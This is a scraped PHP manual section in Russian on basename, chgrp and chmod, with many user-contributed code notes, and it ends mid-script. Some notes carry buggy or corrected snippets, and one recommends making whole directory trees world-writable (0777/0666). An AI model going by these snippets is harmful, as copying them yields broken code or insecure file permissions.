I just learned that, to specify file names in a portable manner, you DON'T need 'DIRECTORY_SEPARATOR' - just use '/'. This really surprised and shocked me, as until now I typed about a zillion times 'DIRECTORY_SEPARATOR' to stay platform independent - unnecessary. Don't make the same mistake.
tunnelareaten at gmail dot com 25-Feb-2005 08:27
I made this function to search and/or display files by extension or for a string occurance in the filename. Any comments or enhancements are welcome offcourse. I'll update this function soon.

usage: list_files([string], [string], [int 1 | 0], [int 1 | 0]);

search for extension: list_files([string], [string], [0], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [0], [0]);
echo result: list_files([string], [string], [0], [1]);

search for string occurance: list_files([string], [string], [1], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [1], [0]);
echo result: list_files([string], [string], [1], [1]);

<?php

function list_files($directory, $stringSearch, $searchHandler, $outputHandler) {
 $errorHandler = false;
 $result = array();
 if (! $directoryHandler = @opendir ($directory)) {
  echo ("<pre>\nerror: directory \"$directory\" doesn't exist!\n</pre>\n");
 return $errorHandler = true;
 }
 if ($searchHandler === 0) {
  while (false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr ($fileName, - @strlen ($stringSearch)) === $stringSearch) {
    @array_push ($result, $fileName);
   }
  }
 }
 if ($searchHandler === 1) {
  while(false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr_count ($fileName, $stringSearch) > 0) {
    @array_push ($result, $fileName);
   }
  }
 }
 if (($errorHandler === true) &&  (@count ($result) === 0)) {
  echo ("<pre>\nerror: no filetype \"$fileExtension\" found!\n</pre>\n");
 }
 else {
  sort ($result);
  if ($outputHandler === 0) {
   return $result;
  }
  if ($outputHandler === 1) {
   echo ("<pre>\n");
   print_r ($result);
   echo ("</pre>\n");
  }
 }
}

?>
Gregor Mosheh 22-Aug-2003 05:23
This function searches a directory and returns an array of all files whose filename matches the specified regular expression. It's similar in concept to the Unix find program.

 function findfile($location='',$fileregex='') {
    if (!$location or !is_dir($location) or !$fileregex) {
       return false;
    }

    $matchedfiles = array();

    $all = opendir($location);
    while ($file = readdir($all)) {
       if (is_dir($location.'/'.$file) and $file <> ".." and $file <> ".") {
          $subdir_matches = findfile($location.'/'.$file,$fileregex);
          $matchedfiles = array_merge($matchedfiles,$subdir_matches);
          unset($file);
       }
       elseif (!is_dir($location.'/'.$file)) {
          if (preg_match($fileregex,$file)) {
             array_push($matchedfiles,$location.'/'.$file);
          }
       }
    }
    closedir($all);
    unset($all);
    return $matchedfiles;
 }

$htmlfiles = findfile('/some/dir','/\.(htm|html)$/');
mitra at mitra dot biz 15-May-2003 10:10
Pollard@php.net contributed this in response to a question on setting these variables ...
This option *IS* settable within your PHP scripts.
Example:

<?php
  ini_set('auto_detect_line_endings', true);
  $contents = file('unknowntype.txt');

  ini_set('auto_detect_line_endings', false);
  $content2 = file('unixfile.txt');
?>

Note, with PHP 4.3 anytime Mac files are read using fgets or file you'll need to auto_detect_line_endings since \n is otherwise assumed.  However, with PHP 5.0, stream_get_line() will allow you to specify what line ending character to read up to.

\\ Read a line from a MAC file
stream_get_line($fp, 4096, "\r");

\\ Read a line from a UNIX file
stream_get_line($fp, 4096, "\n");

\\ Read a line from a DOS file
stream_get_line($fp, 4096, "\r\n");

\\ Read a line up to any filesystem line ending
ini_set('auto_detect_line_endings', true); fgets($fp);

\\ You can also make up your own line ending characters:
\\ Read up to the first instance of ":"
stream_get_line($fp, 4096, ":");
regis at webstuff dot com dot br 03-Apr-2003 07:49
Here is a useful function if you're having trouble writing raw bytes into a file.

It receives an integer and returns an array containing the ASCII values of the bytes on each index of the array.

function int2bytes($number){
  $byte = $number;
  $i=0;
  do{
    $dec_tmp = $byte;

    $byte = bcdiv($byte,256,0);
    $resto = $dec_tmp - (256 * $byte);
    $return[] = $resto;
  } while($byte >= 256);
  if($byte) $return[] = $byte;
  return array_reverse($return);
}

Example:

$arr = int2bytes(75832);

$arr will contain the following values:
Array
(
    [0] => 1
    [1] => 40
    [2] => 56
)

Now, to write this data to the file, just use a fputs() with chr(), just like this:

fputs($fp,chr($arr[0]).chr($arr[1]).chr($arr[2]))

-- Regis
jdhurn at uberidx dot com 08-Mar-2003 07:18
This is a function I use to determine if a file contains Binary information. I use this for my search engine so that it doesn't try to index files like .zip or .mp3 or any other file that doesn't contain readable information. It makes use of the Character Type Extension if it's loaded, if it's not then it uses Regular Expressions.

function is_binary($link)
{
     $tmpStr  = '';
     @$fp     = fopen($link, 'rb');
     @$tmpStr = fread($fp, 256);
     @fclose($fp);

     if($tmpStr != '')
     {
          $tmpStr = str_replace(chr(10), '', $tmpStr);
          $tmpStr = str_replace(chr(13), '', $tmpStr);

          $tmpInt = 0;

           for($i =0; $i < strlen($tmpStr); $i++)
          {
                if( extension_loaded('ctype') )
               {
                    if( !ctype_print($tmpStr[$i]) )
                         $tmpInt++;
               }
               else
               {
                   if( !eregi("[[:print:]]+", $tmpStr[$i]) )
                         $tmpInt++;
               }
           }

           if($tmpInt > 5)
                return(0);
            else
                return(1);
     }
     else
           return(0);
}


Возвращает последний компонент имени из указанного пути

  • « Функции файловой системы
  • chgrp »
  • PHP Manual
  • Функции файловой системы
  • Возвращает последний компонент имени из указанного пути

basename

(PHP 4, PHP 5, PHP 7, PHP 8)

basename — Возвращает последний компонент имени из указанного пути

Описание

basename(string $path, string $suffix = ""): string

При передаче строки с путём к файлу или каталогу, данная функция вернёт последний компонент имени из данного пути.

Замечание:

basename() наивно оперирует исключительно исходной строкой и не учитывает реальную файловую систему или компоненты пути типа "..".

Предостережение

basename() учитывает настройки локали, поэтому для корректной обработки пути с многобайтными символами должна быть установлена соответствующая локаль с помощью функции setlocale(). Если path содержит символы, недопустимые для текущей локали, поведение basename() не определено.

Список параметров

path

Путь.

На платформах Windows в качестве разделителей имён директорий используются оба слеша (прямой / и обратный \). В других операционных системах разделителем служит прямой слеш (/).

suffix

Если компонент имени заканчивается на suffix, то он также будет отброшен.

Возвращаемые значения

Возвращает базовое имя указанного пути path.

Примеры

Пример #1 Пример использования функции basename()

<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
echo "3) ".basename("/etc/passwd").PHP_EOL;
echo "4) ".basename("/etc/").PHP_EOL;
echo "5) ".basename(".").PHP_EOL;
echo "6) ".basename("/");
?>

Результат выполнения данного примера:

1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6)

Смотрите также

  • dirname() - Возвращает имя родительского каталога из указанного пути
  • pathinfo() - Возвращает информацию о пути к файлу

User Contributed Notes

clayrabbit2 at gmail dot com 12-Apr-2023 06:07
One line alternative for unicode filenames:
<?php

preg_replace('#.*?([^'.DIRECTORY_SEPARATOR.']*)'.DIRECTORY_SEPARATOR.'*$#', '$1', $path);
stocki dot r at gmail dot com 10-Apr-2019 11:02
Additional note to Anonymous's mb_basename() solution: get rid of trailing slashes/backslashes!

<?php
function mb_basename($path) {
    if (preg_match('@^.*[\\\\/]([^\\\\/]+)([\\\\/]+)?$@s', $path, $matches)) {
        return $matches[1];
    } else if (preg_match('@^([^\\\\/]+)([\\\\/]+)?$@s', $path, $matches)) {
        return $matches[1];
    }
    return '';
}

echo mb_basename("/etc//"); # "etc"
?>
wibgates dot kenneth at gmail dot com 11-Sep-2017 01:49
the best way to get the filename from url is here
<?php
      // url : http://php.net/manual/add-note.php

       defined('baseUrlFileName') or define('baseUrlFileName',
       explode('.',explode('/',$_SERVER['PHP_SELF'])[3])[0]);

     echo baseUrlFileName ; // result 1

?>

Result 1 :
    add-note
Anonymous 20-Jul-2017 05:04
It's a shame, that for a 20 years of development we don't have mb_basename() yet!

// works both in windows and unix
function mb_basename($path) {
    if (preg_match('@^.*[\\\\/]([^\\\\/]+)$@s', $path, $matches)) {
        return $matches[1];
    } else if (preg_match('@^([^\\\\/]+)$@s', $path, $matches)) {
        return $matches[1];
    }
    return '';
}
frank1982 31-Mar-2017 10:22
Try Long Path Tool as it can remove any problems that you might have.
Anonymous 10-Mar-2017 08:05
There is a problem reading non-Latin characters in the file name if the locale is not configured correctly.
For example: instead of the name «ФЫВА-1234.doc», is displayed «-1234.doc».
Solution: rawurldecode(basename($full_name)).
gandung at ppp dot cylab dot cmu dot edu 20-Feb-2017 11:49
My opinion is, remove the $suffix first, and then apply splitting the core basename ( PHP 4 ):

/*
 * From stephane.fidanza@gmail.com:
 *
 * PHP 4: $suffix is removed first, and then the core basename is applied.
 * PHP 5: $suffix is removed after applying the core basename.
 *
 * (c) Paulus Gandung Prakosa (rvn.plvhx@gmail.com)
 */
if ( !function_exists('php4_backward_compat_basename') )
{
        function php4_backward_compat_basename($path, $suffix = '')
        {
                if ( $suffix !== '' ) {
                        $fixed_path = substr($path, 0, strlen($path) - strlen($suffix));
                        $fixed_basename = explode('/', $fixed_path);
                }

                return ( isset($fixed_basename) ? array_pop($fixed_basename) : array_pop(explode('/', $path)) );
        }
}
Anonymous 15-Dec-2014 02:30
As already pointed out above, if a query string contains a '/' character, basename will not handle it well. But it can come really handy when you want to pass a url with query string to a funtion that copies/downloads the file using basename as local filename, by attaching  an extra query to the end of the url:

<?php
  $url = 'http://example.com/url?with=query_string';
  basename($url); // url?with=query_string
  $url = $url . '&filename_for_basename=/desired_filename.ext';
  basename($url); // desired_filename.ext
?>

Note: you can use the filename from the HTTP header (if present) to get the file with it's original filename.
poop at poop dot com 22-Nov-2014 12:42
@ lcvalentine at gmail dot com
>This is much simpler:
>$ext = strrchr( $filename, '.' );

Even though yours is shorter, you can also do:

$ext = end(explode(".", basename($file
lcvalentine at gmail dot com 21-Nov-2014 04:32
@softontherocks at gmail dot com
> If you want to get the extension of a file, I posted a function in
> http://softontherocks.blogspot.com/2013/07/obtener-la-extension-de-un-fichero-con.html
>
> The function is:
>
> function getExtension($file) {
>   $pos = strrpos($file, '.');
>   return substr($file, $pos+1);
> }

This is much simpler:
$ext = strrchr( $filename, '.' );
softontherocks at gmail dot com 31-Oct-2014 06:38
If you want to get the extension of a file, I posted a function in http://softontherocks.blogspot.com/2013/07/obtener-la-extension-de-un-fichero-con.html

The function is:

 function getExtension($file) {
  $pos = strrpos($file, '.');
  return substr($file, $pos+1);
 }
Muhammad El-Saeed muhammad at elsaeed dot info 19-Apr-2013 04:58
to get the base url of my website

function url(){
    $base_url = isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off' ? 'https' : 'http';
    $base_url .= '://'. $_SERVER['HTTP_HOST'];
    $base_url .= str_replace(basename($_SERVER['SCRIPT_NAME']), '', $_SERVER['SCRIPT_NAME']);
    return $base_url;
}
swedish boy 12-Oct-2009 03:43
Here is a quick way of fetching only the filename (without extension) regardless of what suffix the file has.

<?php

// your file
$file = 'image.jpg';

$info = pathinfo($file);
$file_name =  basename($file,'.'.$info['extension']);

echo $file_name; // outputs 'image'

?>
hello at haroonahmad dot co dot uk 18-Sep-2008 08:13
I got a blank output from this code

$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

suggested earlier by a friend here.

So anybody who wants to get the current directory path can use another technique that I use as

//suppose you're using this in pageitself.php page

$current_dir=dirname(realpath("pageitself.php"));

I hope it helps.
zandor_zz at yahoo dot it 08-Sep-2008 01:34
It might be useful to have a version of the function basename working with arrays too.

<?php
function a_basename( $file, $exts )
{
    $onlyfilename = end( explode( "/", $file ) );

    if( is_string( $exts ) )
    {
        if ( strpos( $onlyfilename, $exts, 0 ) !== false )
        $onlyfilename = str_replace( $exts, "", $onlyfilename );
    }
    else if ( is_array( $exts ) )
    {
        // works with PHP version <= 5.x.x
        foreach( $exts as $KEY => $ext )
        {
            $onlyfilename = str_replace( $ext, "", $onlyfilename );
        }
    }

    return $onlyfilename ;
}
?>
(remove) dot nasretdinov at (remove) dot gmail dot com 27-Aug-2008 08:20
There is only one variant that works in my case for my Russian UTF-8 letters:

<?php
function mb_basename($file)
{
    return end(explode('/',$file));
}
><

It is intented for UNIX servers
pai dot ravi at yahoo dot com 15-Aug-2008 08:44
once you have extracted the basename from the full path and want to separate the extension from the file name, the following function will do it efficiently:

<?php
function splitFilename($filename)
{
    $pos = strrpos($filename, '.');
    if ($pos === false)
    { // dot is not found in the filename
        return array($filename, ''); // no extension
    }
    else
    {
        $basename = substr($filename, 0, $pos);
        $extension = substr($filename, $pos+1);
        return array($basename, $extension);
    }
}
?>
adrian at foeder dot de 20-Dec-2007 12:33
On windows systems, filenames are case-insensitive. If you have to make sure the right case is used when you port your application to an unix system, you may use a combination of the following:

<?php
//assume the real filename is mytest.JPG:

$name_i_have = "mytest.jpg";
$realfilename = basename(realpath($name_i_have));
?>

basename itself does not check the filesystem for the given file, it does, so it seems, only string-manipulation.
With realpath() you can "extend" this functionality.
stephane dot fidanza at gmail dot com 11-Apr-2007 04:33
Support of the $suffix parameter has changed between PHP4 and PHP5:
in PHP4, $suffix is removed first, and then the core basename is applied.
conversely, in PHP5, $suffix is removed AFTER applying core basename.

Example:
<?php
  $file = "path/to/file.xml#xpointer(/Texture)";
  echo basename($file, ".xml#xpointer(/Texture)");
?>

Result in PHP4: file
Result in PHP5: Texture)
thoughts at highermind dot org 30-Jan-2007 05:45
Basename without query string:

<?php
$filename    = array_shift(explode('?', basename($url_path)));
?>
lazy lester 17-Feb-2006 04:19
If your path has a query string appended, and if the query string contains a "/" character, then the suggestions for extracting the filename offered below don't work.

For instance if the path is like this:
http://www.ex.com/getdat.php?dep=n/a&title=boss

Then both the php basename() function, and also
the $_SERVER[QUERY_STRING] variables get confused.

In such a case, use:

<php
$path_with_query="http://www.ex.com/getdat.php?dep=n/a&title=boss";
$path=explode("?",$path_with_query);
$filename=basename($path[0]);
$query=$path[1];
?>
15-Nov-2005 04:57
icewinds exmaple wouldn't work, the query part would contain the second char of the filename, not the query part of the url.
<?
$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$query = $file[1];
$file = $file[0];
?>

That works better.
icewind 02-Nov-2005 12:44
Because of filename() gets "file.php?var=foo", i use explode in addition to basename like here:

$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$file = $file[0];
$query = $file[1];

Now $file only contains "file.php" and $query contains the query-string (in this case "var=foo").
www.turigeza.com 24-Oct-2005 12:47
simple but not said in the above examples

echo basename('somewhere.com/filename.php?id=2', '.php');
will output
filename.php?id=2

which is not the filename in case you expect!
crash at subsection dot org dot uk 22-Sep-2005 12:38
A simple way to return the current directory:
$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

since basename always treats a path as a path to a file, e.g.

/var/www/site/foo/ indicates /var/www/site as the path to file
foo
amitabh at NOSPAM dot saysnetsoft dot com 14-Jul-2005 01:55
The previous example posted by "pvollma" didn't work out for me, so I modified it slightly:
<?php
function GetFileName($file_name)
{
        $newfile = basename($file_name);
        if (strpos($newfile,'\\') !== false)
        {
                $tmp = preg_split("[\\\]",$newfile);
                $newfile = $tmp[count($tmp) - 1];
                return($newfile);
        }
        else
        {
                return($file_name);
        }
}
?>
pvollma at pcvsoftware dot net 13-Jul-2005 11:43
There is a real problem when using this function on *nix servers, since it does not handle Windows paths (using the \ as a separator). Why would this be an issue on *nix servers? What if you need to handle file uploads from MS IE? In fact, the manual section "Handling file uploads" uses basename() in an example, but this will NOT extract the file name from a Windows path such as C:\My Documents\My Name\filename.ext. After much frustrated coding, here is how I handled it (might not be the best, but it works):

<?php
$newfile = basename($filen);
if (strpos($newfile,'\\') !== false) {
  $tmp = preg_split("[\\\]",$newfile);
  $newfile = $tmp[count($tmp) - 1];
}
?>

$newfile will now contain only the file name and extension, even if the POSTed file name included a full Windows path.
KOmaSHOOTER at gmx dot de 30-Jan-2005 06:18
if you want the name of the parent directory
<?php
$_parenDir_path = join(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1),"/").'/'; // returns the full path to the parent dir
$_parenDir =  basename ($_parenDir_path,"/"); // returns only the name of the parent dir
// or
$_parenDir2 = array_pop(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1)); // returns also only the name of the parent dir
echo('$_parenDir_path  = '.$_parenDir_path.'<br>');
echo('$_parenDir  = '.$_parenDir.'<br>');
echo('$_parenDir2  = '.$_parenDir2.'<br>');
?>
KOmaSHOOTER at gmx dot de 29-Jan-2005 04:24
If you want the current path where youre file is and not the full path then use this :)

<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// retuns the name of current used directory
?>

Example:

www dir: domain.com/temp/2005/january/t1.php

<?php
echo('dirname <br>'.dirname($_SERVER['PHP_SELF']).'<br><br>');
// returns: /temp/2005/january
?>

<?php
echo('file = '.basename ($PHP_SELF,".php"));
// returns: t1
?>

if you combine these two you get this
<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// returns: january
?>

And for the full path use this
<?php
echo(' PHP_SELF <br>'.$_SERVER['PHP_SELF'].'<br><br>');
// returns: /temp/2005/january/t1.php
?>
KOmaSHOOTER at gmx dot de 28-Nov-2003 02:33
Exmaple for exploding ;) the filename to an array

<?php
echo(basename ($PHP_SELF)."<br>");  // returnes filename.php
$file = basename ($PHP_SELF);
$file = explode(".",$file);
print_r($file);    // returnes Array ( [0] => filename [1] => php )
echo("<br>");
$filename = basename(strval($file[0]),$file[1]);
echo($filename."<br>");  // returnes  filename
echo(basename ($PHP_SELF,".php")."<br>");  // returnes  filename
echo("<br>");
echo("<br>");
//show_source(basename ($PHP_SELF,".php").".php")
show_source($file[0].".".$file[1])
?>
daijoubu_NOSP at M_videotron dot ca 15-Oct-2003 10:22
An faster alternative to:

<?php
array_pop(explode('.', $fpath));
?>

would be:

<?php
substr($fpath, strrpos($fpath, '.')); // returns the dot
?>

If you don't want the dot, simply adds 1 to the position

<?php
substr($fpath, strrpos($fpath, '.') + 1); // returns the ext only
?>


Изменяет группу файла

  • « basename
  • chmod »
  • PHP Manual
  • Функции файловой системы
  • Изменяет группу файла

chgrp

(PHP 4, PHP 5, PHP 7, PHP 8)

chgrp — Изменяет группу файла

Описание

chgrp(string $filename, string|int $group): bool

Осуществляет попытку смены группы файла filename на группу group.

Только суперпользователь может произвольно менять группу файла; остальные пользователи могут менять группу файла только на те группы, членами которых они являются.

Список параметров

filename

Путь к файлу.

group

Название или номер группы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Изменение группы файла

<?php
$filename = 'shared_file.txt';
$format = "Идентификатор группы файла %s @ %s: %d\n";
printf($format, $filename, date('r'), filegroup($filename));
chgrp($filename, 8);
clearstatcache(); // сбрасываем кеш filegroup()
printf($format, $filename, date('r'), filegroup($filename));
?>

Примечания

Замечание: Эта функция неприменима для работы с удалёнными файлами, поскольку файл должен быть доступен через файловую систему сервера.

Замечание: В Windows функция молча завершается ошибкой при применении к обычному файлу.

Смотрите также

  • chown() - Изменяет владельца файла
  • chmod() - Изменяет режим доступа к файлу

User Contributed Notes

There are no user contributed notes for this page.


Изменяет режим доступа к файлу

  • « chgrp
  • chown »
  • PHP Manual
  • Функции файловой системы
  • Изменяет режим доступа к файлу

chmod

(PHP 4, PHP 5, PHP 7, PHP 8)

chmod — Изменяет режим доступа к файлу

Описание

chmod(string $filename, int $permissions): bool

Осуществляет попытку изменения режима доступа указанного файла на режим, переданный в параметре permissions.

Список параметров

filename

Путь к файлу.

permissions

Обратите внимание, что значение параметра permissions не переводится автоматически в восьмеричную систему счисления, поэтому, чтобы удостовериться в том, что режим был установлен верно, предваряйте нулём (0) значение передаваемое в параметре permissions. Строки, такие как "g+w", не будут работать должным образом.

<?php
chmod("/somedir/somefile", 755); // десятичное, скорее всего, указано неверно
chmod("/somedir/somefile", "u+rwx,go+rx"); // строка, неверный способ
chmod("/somedir/somefile", 0755); // восьмеричное, верный способ
?>

Значение параметра permissions состоит из трёх восьмеричных чисел, определяющих уровень доступа для владельца файла, для группы, в которую входит владелец, и для других пользователей, соответственно. Число, определяющее уровень пользователя, может быть вычислено путём суммирования значений, определяющих права: 1 - доступ на выполнение, 2 - доступ на запись, 4 - доступ на чтение. Сложите эти числа для указания нужного права доступа. Более подробно о системе прав в системах Unix вы можете узнать с помощью команд 'man 1 chmod' и 'man 2 chmod'.

<?php
// Доступ на запись и чтение для владельца, нет доступа для других
chmod("/somedir/somefile", 0600);

// Доступ на запись и чтение для владельца, доступ на чтение для других
chmod("/somedir/somefile", 0644);

// Полный доступ для владельца, доступ на чтение и выполнение для других
chmod("/somedir/somefile", 0755);

// Полный доступ для владельца, доступ на чтение и выполнение для группы владельца
chmod("/somedir/somefile", 0750);
?>

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

В случае возникновения ошибки выдаётся ошибка уровня E_WARNING.

Примечания

Замечание:

Текущим пользователем является пользователь, от имени которого выполняется PHP. Возможно, что это будет не тот пользователь, под именем которого вы получаете доступ к командной оболочке или учётной записи FTP. На большинстве систем режим доступа к файлу может быть изменён только его владельцем.

Замечание: Эта функция неприменима для работы с удалёнными файлами, поскольку файл должен быть доступен через файловую систему сервера.

Смотрите также

  • chown() - Изменяет владельца файла
  • chgrp() - Изменяет группу файла
  • fileperms() - Возвращает информацию о правах на файл
  • stat() - Возвращает информацию о файле

User Contributed Notes

no at no dot es 18-Jan-2021 09:43
use a stored string for the mask is a pain
ex: $mask contains a string 0755
int($mask) not work (return 755)
the only way i found is use octdec($mask)
Tuckbros 15-May-2020 06:26
Just an update of the solution with octdec. You have to give octdec the string as a parameter.

$mode = '644';
chmod(file_or_dir_name, octdec($mode));

See also: http://www.php.net/manual/en/function.octdec.php
chris at ocproducts dot com 02-Mar-2020 07:50
Windows has a very different file permission model to Unix and integrates them only minimally.

On Windows, all this function can do is to change the "read only" flag, which is turned on if $mode & 0200 does not pass.
i.e. it only checks if u+w is missing from the bitmask, and if it is, it sets the read only flag.

The executable flag cannot be set as Windows determines it based on file extension.
The write flag cannot be set as Windows determines write access based on ACLs, which are not integrated here.
h dot kuppens at cs dot ru dot nl 29-Aug-2011 02:51
For recursive chmod'ing both files and directories in one step you can use the function below. Note that this function has one argument for directory permissions and one for file permissions.
In this way you can apply the 'x' permission on directories, and skip it on directories. This function also skips links.

Example usage :

   chmod_R( 'mydir', 0666, 0777);

Makes all files and directories within mydir/ directory accessible for everyone, but doesn't make the files executable.

I guess for very deeply nested directories the recursion with php can become problematic, but I can be wrong because I never investigated this.

<?php
function chmod_R($path, $filemode, $dirmode) {
    if (is_dir($path) ) {
        if (!chmod($path, $dirmode)) {
            $dirmode_str=decoct($dirmode);
            print "Failed applying filemode '$dirmode_str' on directory '$path'\n";
            print "  `-> the directory '$path' will be skipped from recursive chmod\n";
            return;
        }
        $dh = opendir($path);
        while (($file = readdir($dh)) !== false) {
            if($file != '.' && $file != '..') {  // skip self and parent pointing directories
                $fullpath = $path.'/'.$file;
                chmod_R($fullpath, $filemode,$dirmode);
            }
        }
        closedir($dh);
    } else {
        if (is_link($path)) {
            print "link '$path' is skipped\n";
            return;
        }
        if (!chmod($path, $filemode)) {
            $filemode_str=decoct($filemode);
            print "Failed applying filemode '$filemode_str' on file '$path'\n";
            return;
        }
    }
}
?>
Andrey P. 01-Mar-2011 02:23
I was trying to change permissions of a folder with chmod command with FTP connection. (I needed a writable folder to upload pictures with php)

I got the following respond:
"SITE CHMOD 777 uploads: command not understood"

The reason: Server is running under Windows system that does not allow to set file permissions via FTP. Conversely, the UNIX-running servers allow that.

Solutions:

1. If your web hosting provider has a web-based control panel that lets you set file permissions, then you need to login there and make changes.

2. It is possible to contact the hosting provider and ask them about this issue; maybe they can make the changes.

3. It is possible to change the hosting provider that has servers run on UNIX, and keep the site there.
MethodicalFool 02-Sep-2010 09:46
BEWARE, a couple of the examples in the comments suggest doing something like this:

chmod(file_or_dir_name, intval($mode, 8));

However, if $mode is an integer then intval( ) won't modify it.  So, this code...

$mode = 644;
chmod('/tmp/test', intval($mode, 8));

...produces permissions that look like this:

1--w----r-T

Instead, use octdec( ), like this:

chmod(file_or_dir_name, octdec($mode));

See also: http://www.php.net/manual/en/function.octdec.php
Geoff W 08-Feb-2010 02:13
BEWARE using quotes around the second parameter...

If you use quotes eg

chmod (file, "0644");

php will not complain but will do an implicit conversion to an int before running chmod. Unfortunately the implicit conversion doesn't take into account the octal string so you end up with an integer version 644, which is 1204 octal
sander 25-Jun-2009 11:06
if you want to chmod directories too, use this

<?php
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($pathname), RecursiveIteratorIterator::SELF_FIRST);

foreach($iterator as $item) {
    chmod($item, $filemode);
}
?>
Anonymous 24-Dec-2008 02:14
Changes file mode recursive in $pathname to $filemode

<?php

$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($pathname));

foreach($iterator as $item) {
    chmod($item, $filemode);
}

?>
nicolas at infosoft dot inf dot br 07-Jul-2008 05:37
I use the code of haasje@welmers.net, but have a lite alteration. (linux symlink)

<?php
function chmod_R($path, $filemode) {
    if (!is_dir($path))
        return chmod($path, $filemode);

    $dh = opendir($path);
    while (($file = readdir($dh)) !== false) {
        if($file != '.' && $file != '..') {
            $fullpath = $path.'/'.$file;
            if(is_link($fullpath))
                return FALSE;
            elseif(!is_dir($fullpath))
                if (!chmod($fullpath, $filemode))
                    return FALSE;
            elseif(!chmod_R($fullpath, $filemode))
                return FALSE;
        }
    }

    closedir($dh);

    if(chmod($path, $filemode))
        return TRUE;
    else
        return FALSE;
}
?>
thanks alls
paul maybe at squirrel mail org 24-Apr-2008 05:09
Note that info at rvgate dot nl's chmodnum function produces INCORRECT results.  The resutls are base-10 numbers that only LOOK like they are octal numbers.  The function also ignores setuid, setgid and sticky bits, and will produce incorrect numbers if such a file is encountered.  Instead, this brute-force code works.  Maybe there is something more slick, but this isn't too CPU-intensive (note that it assumes you've error-checked that you indeed have a 10-character string!):

<?php
      $permissions = 'drwxr-xr-x';  // or whatever
      $mode = 0;

      if ($permissions[1] == 'r') $mode += 0400;
      if ($permissions[2] == 'w') $mode += 0200;
      if ($permissions[3] == 'x') $mode += 0100;
      else if ($permissions[3] == 's') $mode += 04100;
      else if ($permissions[3] == 'S') $mode += 04000;

      if ($permissions[4] == 'r') $mode += 040;
      if ($permissions[5] == 'w') $mode += 020;
      if ($permissions[6] == 'x') $mode += 010;
      else if ($permissions[6] == 's') $mode += 02010;
      else if ($permissions[6] == 'S') $mode += 02000;

      if ($permissions[7] == 'r') $mode += 04;
      if ($permissions[8] == 'w') $mode += 02;
      if ($permissions[9] == 'x') $mode += 01;
      else if ($permissions[9] == 't') $mode += 01001;
      else if ($permissions[9] == 'T') $mode += 01000;

      printf('Mode is %d decimal and %o octal', $mode, $mode);
?>
Ambriel_Angel at www dot ambriels dot net/entry 25-Mar-2007 06:00
<?php
error_reporting(E_ERROR | E_PARSE);
/* Makes is so Directories are not browseable to the public,
removing only the Public = Read permission, while leaving
the other chmod permissions for the file in tact.

If you have exectue already on, and read off, public viewers will only
be able to view files through links, but not browse
around to see what's inside of directories and see what
you've got laying around. */
//-------------------------------------------------------
// Get file mode
// Get file permissions supported by chmod
function getmod($filename) {
   $val = 0;
   $perms = fileperms($filename);
   // Owner; User
   $val += (($perms & 0x0100) ? 0x0100 : 0x0000); //Read
   $val += (($perms & 0x0080) ? 0x0080 : 0x0000); //Write
   $val += (($perms & 0x0040) ? 0x0040 : 0x0000); //Execute

   // Group
   $val += (($perms & 0x0020) ? 0x0020 : 0x0000); //Read
   $val += (($perms & 0x0010) ? 0x0010 : 0x0000); //Write
   $val += (($perms & 0x0008) ? 0x0008 : 0x0000); //Execute

   // Global; World
   $val += (($perms & 0x0004) ? 0x0004 : 0x0000); //Read
   $val += (($perms & 0x0002) ? 0x0002 : 0x0000); //Write
   $val += (($perms & 0x0001) ? 0x0001 : 0x0000); //Execute

   // Misc
   $val += (($perms & 0x40000) ? 0x40000 : 0x0000); //temporary file (01000000)
   $val += (($perms & 0x80000) ? 0x80000 : 0x0000); //compressed file (02000000)
   $val += (($perms & 0x100000) ? 0x100000 : 0x0000); //sparse file (04000000)
   $val += (($perms & 0x0800) ? 0x0800 : 0x0000); //Hidden file (setuid bit) (04000)
   $val += (($perms & 0x0400) ? 0x0400 : 0x0000); //System file (setgid bit) (02000)
   $val += (($perms & 0x0200) ? 0x0200 : 0x0000); //Archive bit (sticky bit) (01000)

   return $val;
}

//-------------------------------------------------------
// Find out if file has mode
function hasmod($perms, $permission) {

# User Read = 0400 (256), Write = 0200 (128), Execute = 0100 (64)
# Group Read = 0040 (32), Write = 0020 (16), Execute = 0010 (8)
# Public Read = 0004 (4), Write = 0002 (2), Execute = 0001 (1)

    return (($perms & $permission) == $permission);
}

//-------------------------------------------------------
// Take the read option off of all the subdirectories of the included path
function pathlock($dir, $listall = false, $testrun = true) {
   echo "START @ " . date("F j, Y, h:i:s A") . "<br><br>";
   echo ($testrun ? '**Test Run Activated (no changes will be made).**<br><br>' : '**Live Run Activated.**<br><br>');
   echo $dir . " is our directory.<br><br>\n";
   echo "[...IN PROGRESS...]<br><br>";

   $file_list = '';
   $stack[] = $dir;

   while ($stack) {
      $current_dir = array_pop($stack);
      if ($dh = opendir($current_dir)) {
          while (($file = readdir($dh)) !== false) {
              if ($file !== '.' AND $file !== '..') {
                  $current_file = "{$current_dir}/{$file}";
               if (is_dir($current_file)) {
                      // BEG ADD PATH
                   $mode = getmod($current_file);    //Get the mode
                      $HasPubRead = hasmod($mode,4);
                   if ($HasPubRead || $listall) {    // Can the public read this dir?
                  //======================================
                    $ch = true;
                  $take = 0;
                       // Change the mode:
                     if ($HasPubRead) {
                          $take = 4;         // Value for Public Read. 4 is the same in octal and decimal.
                          if (!$testrun) {
                              $ch = chmod($current_file, $mode-$take);
                          }
                      }

                    echo $current_file . ",current=" . decoct($mode) .
